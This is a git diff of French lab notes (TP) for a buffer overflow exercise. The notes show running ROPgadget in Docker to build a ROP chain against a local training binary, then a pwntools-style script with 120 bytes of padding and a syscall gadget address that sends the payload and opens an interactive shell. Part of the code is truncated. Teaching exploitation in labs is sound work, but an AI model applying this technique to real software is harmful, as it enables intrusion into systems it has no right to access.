diff --git a/TP.txt b/TP.txt index f0ab785..2556079 100644 --- a/TP.txt +++ b/TP.txt @@ -10,12 +10,15 @@ docker run --rm -it secu python3 ROPgadget/ROPgadget.py --binary Bufferoverflow/binaire --ropchain -dans un fichier python : - p = b'A' * 120 => buffer overflow - p += pack(' p += p64(0x0000000000401fa4) # syscall : on convertit en p64 car la convertion est nul +dans un fichier python : - r.process("./binaire") => on execute le binaire - r.sendline(p) => on met dans le buffer toutes les adresses et l'attaque Bufferoverflow - r.interactive() => on met a disposition le shell interactif sur le terminal + on copie colle la partie 5 avec en plus: + + p = b'A' * 120 => buffer overflow + p += pack(' p += p64(0x0000000000401fa4) # syscall : on convertit en p64 car la convertion est nul + + r.process("./binaire") => on execute le binaire + r.sendline(p) => on met dans le buffer toutes les adresses et l'attaque Bufferoverflow + r.interactive() => on met a disposition le shell interactif sur le terminal \ No newline at end of file